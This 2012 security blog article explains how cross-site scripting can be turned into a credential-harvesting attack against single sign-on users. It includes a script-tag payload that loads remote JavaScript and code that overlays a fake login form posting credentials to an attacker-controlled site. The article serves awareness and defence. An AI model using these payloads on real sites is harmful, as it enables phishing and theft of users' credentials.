Weaponizing XSS

26 October 2012

Cross Site Scripting (originally CSS but the acronym was changed to XSS to avoid confusion with Cascading Style Sheets), also known as an arbitrary script injection flaw, is a pernicious vulnerability in web applications. Noted in the OWASP Top 10 most common web application vulnerabilities XSS is an often misunderstood and overlooked. XSS can allow an attacker to take control of a victim web browser, often without leaving any trace of their attack. XSS targets web application users rather than the application server, as is the case in attacks leveraging SQL injection, authentication bypass, or code execution vulnerabilities. Because XSS vulnerabilities affect site users, rather than application infrastructure, it is often overlooked by developers or security officers. However, as the browser becomes closer to a complete operating system for many users it is becoming an increasingly attractive target, and platform, for attack.

Causes of XSS

XSS is caused by the fact that HTML encodes data and instructions in the same format (plain text). When HTML transmission occurs (over HTTP) the body of the communication contains the content of the HTTP message encoded in HTML. As anyone who has tried to write HTML knows, the only difference between instructions to browsers concerning the layout and appearance of a page and the text to present on the page are less-than (<) and greater-than (>) symbols that delineate tags. Tags are HTML elements surrounded by these less than and greater than symbols in the same way that XML delineates content. Thus, the characters that segregate data from instructions are used as character of data for display as well. Confusion over delineation is further exacerbated by the fact that tags can have attributes, delimited by quotes (single or double, or in some cases no quotes) and spaces, which are also displayed characters.

The complexity of segregating instructions to the client browser from content being displayed makes for a fertile attack surface. XSS is a vulnerability that allows an attacker to exploit this confusion, escape the bounds of delineation (much like in SQL Injection attacks) and hijack either data or instructions given to the browser. This enables arbitrary script injection into a web page.

In order to carry out an exploit attackers craft malicious pieces of user supplied data to inject attack code. This injection can take two main forms: a transient attack where the malicious content is carried within the request (such as within a link), called reflected XSS, and persistent XSS where malicious data is injected into an applications permanent data store (such as a back end database). Whenever an application displays user supplied input, of any form, from web form post data to url data to previously supplied data like profile information, or even the filenames of uploaded pictures, the potential for XSS attack exists.

Threats from XSS

Many security researchers consider XSS a "lame" exploit. It is much derided in the popular information security press. Part of this perception stems from the sheer volume of XSS vulnerabilities. An entire website, xssed.com, exists to highlight publicly disclosed cases of XSS vulnerabilities. ComputerWeekly recently published an article showing XSS as the top threat to web applications (http://www.computerweekly.com/news/2240168930/XSS-attacks-remain-topthreat- to-web-applications). As aforementioned, OWASP considers XSS one of the top threats facing web applications as well (https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).

It doesn't take much skill to find XSS vulnerabilities in applications simply because they are so common. This fact combines with the fact that due to the deductive reasoning required to identify XSS in applications, automated tools cannot identify any but the simplest of XSS flaws. This means that running an application security scanner against a web application will more than likely to reveal only a small portion of XSS flaws. Examining any major vulnerability announcement list will show such a volume of XSS vulnerabilities that many vendors simply don't publish them. Bug bounty programs often refuse to pay for such flaws simply because they are so common. Despite the derision, however, XSS vulnerabilities present a serious threat to most organizations.

XSS is most commonly demonstrated with a JavaScript alert box. This is effective, but unfortunate. The threat from XSS is that an attacker can take control of the user's web browser. With the web browser becoming the de facto operating system for most users this is a serious flaw. Unfortunately, exploiting XSS takes some imagination, and skill, which few attackers have demonstrated to date. However, given the widespread cases of XSS and the potential for harm it is only a matter of time before XSS attacks become a serious problem.

Real World XSS

To demonstrate the seriousness of an XSS vulnerability I would like to propose the following, very real, scenario. Using XSS it becomes trivial to harvest user credentials. The reason for the simplicity of this attack is that with XSS an attacker can leverage a user's trust in both their web browser, and the application source. The fact is that an XSS attack can fundamentally change the behavior of a web application, without changing any visual queues to a user such as the URL bar, the green SSL padlock, or other security countermeasures. Because the XSS attack is operating under the context of the targeted web application, with the full privileges of the web browser, it is nearly impossible for a victim to spot the attack. Additionally, because a careful XSS attack issues legitimate instructions to the web browser, the malicious content is technically indistinguishable from legitimate content. This means that anti-malware software cannot detect an XSS attack.

Although the prototypical XSS attack demonstration involves a JavaScript pop-up, a far more common real world scenario is to inject an iframe tag that references a malicious PDF, Flash file, or Java applet. This strategy allows an attacker to inject an invisible reference to a malicious file that attacks one of the many third party plugins in today's browsers. Typically these malicious files cause the plug in to crash and execute arbitrary code (normally to download a rootkit or other malware to the target). This attack is common, but far from fear inspiring, simply because it is technically feasible to defend against. While the XSS attack is undetectable, the attack against the plugin often involves a buffer overflow, or other well know attack technique, and is easily detected by anti-malware applications. Keeping your browser plugins up to date and installing a competent anti-virus solution is sufficient to prevent many of these plugin attacks.

A far more insidious XSS attack would not attempt to make any unauthorized changes to a users system. Because XSS is invisible to an end user it is possible to use XSS to socially engineer (trick) a user into supplying valid credentials for accounts or even to download and install malware voluntarily. XSS allows an attacker to take the place of trusted sources, even if only for a short time, and leverage that trust to attack users without their knowledge.

Consider, for a moment, a typical organizational environment of reasonable size. Think of an organization with a few web applications that support business process. Usually such organizations implement some sort of Single Sign On (SSO) infrastructure like Kerberos, OpenID, Integrated Windows Authentication, CoSign or even Facebook or Google authentication. Whenever an authorized party interacts with one of the web applications they are presented with an authentication form. Once completed this form is submitted and the client is authorized for all the applications without having to re-authenticate. This type of authentication and authorization is convenient because it is simple. It is dangerous because one set of credentials will typically allow access to a mixed range of security sensitive resources (for instance the same credentials might give access to the organizational calendar as well as the employee retirement allocation application).

The SSO model is easy for employees who only have to remember a single set of credentials. However, it has the side effect of habituating users to the presentation of a standard login form. Often times, due to credential expiration, the login form may appear in the middle of a workflow. A user may authenticate, use an application, step away for a while, return to the application and click on an internal link only to be presented with the login form. Thus the authentication process doesn't always happen at the "front door" of the application, with a single workflow that starts with authentication, but may present itself once the user is already using the application if the authenticated session has a time expiry.

This landscape is a gold mine for attackers. If an attacker can find an XSS flaw in an application, not necessarily even one behind authentication, they can use the XSS to present the authentication screen to a user. It is easy for an attacker to find and copy the authentication screen because it is uniform and the attacker merely needs to find a link to a resource that requires authentication to discover its format. The attacker then scrapes the page and injects it using an XSS attack. Victims will encounter a page, at a valid organizational URL, that suddenly presents them with the login screen. Victims are habituated to being presented with the login screen unprompted and will fill out the form, which can silently post the results back to an attacker. This attack could even defeat two factor authentication if the second factor is valid for a time window and the attacker can harvest and re-use the credentials in time. The only indication to a victim is the URL, which will differ from the correct SSO URL but will not be invalid.

Implementing a Harvesting Attack

While the description of this attack may seem interesting to all but technical users who can instantly visualize an attack, this article will now enumerate exactly how a real attack could take place in order to demonstrate the ease of the attack and the magnitude of the impact. I won't use any real organizations in this demonstration, but applying this model is trivial.

The crux of this attack hinges on the ability to inject script into a target application via XSS. Finding an XSS vulnerability in an application is straightforward to most attackers. Once a vulnerability has been identified the attacker is challenged with delivering a malicious payload. This hurdle is made less intimidating by the fact that an optional attribute of the script tag, used to delineate JavaScript instructions, is the src attribute. As with images (using the img tag), iframes, and other HTML elements, the script tag can source remote resources. Thus, even though our attack might require hundreds of lines of JavaScript, it can be injected with as few as 42 characters like so:

<script src=http://bit.ly/9bHOZw></script>

This script tag instructs the browser to retrieve the JavaScript at the URL indicated in the src attribute and evaluate it in the context of the web page. This allows an attacker to craft an attack script as long and complex as required. A credential harvesting attack, however, is not particularly time consuming or complex. The attacker simply causes JavaScript to create a new layer over the web page, using a div tag, that obscures all of the normal contents of the web page. This can be done with the following JavaScript:

var newdiv = document.createElement('div');
newdiv.style.width = "100%";
newdiv.style.height = "100%";
newdiv.style.position = "absolute";
newdiv.style.left = 0;
newdiv.style.top = 0;
document.body.appendChild(newdiv);

This creates a new div tag over the entire page. Once this div is written to the page, the JavaScript can present arbitrary HTML to the user by using the innerHTML JavaScript command like so:

newdiv.innerHTML = 'Any arbitrary HTML code';

If the above JavaScript is modified to include the HTML source for the display of an organizations standard login form, altered so that it submits to an attacker controlled site rather than the legitimate credential processor, the new page will suddenly look completely like the login page except for the URL. The fake login page could even draw from the legitimate image sources to increase page load time and adapt to updates in the imagery. A truly insidious attack could even use a JavaScript randomizer to appear intermittently when the page was called in order to attempt to evade detection and frustrate investigation.

Graphical Example

The following screenshot shows a typical login screen that a user might encounter in a Drupal web application if their session timed out or the first time they encountered restricted content (for instance by clicking on a bookmark to the administrative secion of the site):

Fig 1: Example access denied (supply credentials) screen

Next is a demonstration of a typical content page. Note the URL is valid and complete, and although this example is not served over HTTPS it could well be, and include a valid lock.

Fig 2: Example webpage as it would normally appear

This web page contains a trivial XSS vulnerability. A traditional proof of concept would cause an alert box to appear. Note the URL is still valid and unchanged.

Fig 3: Trivial XSS demonstration with an alert box

Now, examine the output if this XSS flaw was exploited using a more complex attack. This attack is triggered with a single line of text that injects a remotely sourced JavaScript file that overwrites the screen. Note the URL is unchanged and there is no indication to the user that the display has been altered:

Fig 4: A credential harvesting XSS attack is undetectable

Conclusions

XSS flaws are some of the most common flaws in web applications today. Unfortunately, due to the complexity of web applications and the need for customized filtering rules when sanitizing user supplied input, it is extremely difficult for automated tools to identify any but the simplest XSS vulnerabilities. Sadly, it is quite easy for a human to deductively reason through defensive filters that are applied to user supplied data. This means that while automated scanners are not very good at finding XSS vulnerabilities, human adversaries are quite adept at finding these flaws. The resulting situation is that XSS flaws abound, they are difficult for defenders to detect, involve complex technical fixes, and are easy for adversaries to exploit. This provides a fertile ground for attack.

Real world XSS attacks often involve client side exploits using third party plugins. These technical attacks are easily addressed using technical solutions such as update browsers and plugins and anti-virus software. Non technical attacks are set to become more common as attackers realize their effectiveness. The growth of online applications is dramatically increasing the value of application credentials. The convenience and proliferation of single sign on mechanisms is broadening the usefulness of a single set of credentials. Thus, the returned value of compromised credentials is rising. The fact that technical controls cannot easily prevent social engineering attacks, combined with the proliferation of XSS flaws and the potential for these flaws to be used for extremely successful social engineering attacks creates a house of cards waiting to fall.

It is well past time that security researchers begin treating XSS flaws with a gravity commensurate with the impact of their very potential exploitation. XSS flaws can be used to gain credentials that can be used across an organizations application suite with extremely little effort. As automated tools like BeEF (http://beefproject.com/) mature they make complex XSS flaws easier to accomplish and lower the bar for non-technical attackers (for a quick tutorial on BeEF see https://sites.sas.upenn.edu/kleinkeane/classes/information-security-training/materials/xss-exercise). In the same way that SQLMap and Havij made SQL injection a tenable attack even in the absence of skill in database programming or manipulation, tools like BeEF will make complex XSS attacks achievable even without knowledge of JavaScript or complex HTML.

Sadly, the best defense against complex XSS attacks is to disable JavaScript. However, the demand for ever more responsive and dynamic web applications from not only traditional users but also from the increasing population of mobile browsers, means that JavaScript is becoming a staple of almost every application. Furthermore, in response to needs for a constant upgrade cycle, many of these dynamic scripts are remotely sourced. This eliminates the possibility of targeted JavaScript black listing. This means there is no clear technical remediation to the XSS credential harvesting attack described in this article.

Although SQL injection has dominated the news recently, it is only a matter of time before XSS replaces SQLi as the top threat occupying the media, and attackers. While SQLi is quite easy to find in source code, and remedy through a broad array of technical solutions from prepared statements to SQL filtering proxies, no such equivalent exists for XSS vulnerabilities. This fact, combined with evolving attack tools, and the broad impact of XSS as well as the pervasiveness of SSO means that at some point in the very near future XSS will become the dominant threat facing the web application ecosystem.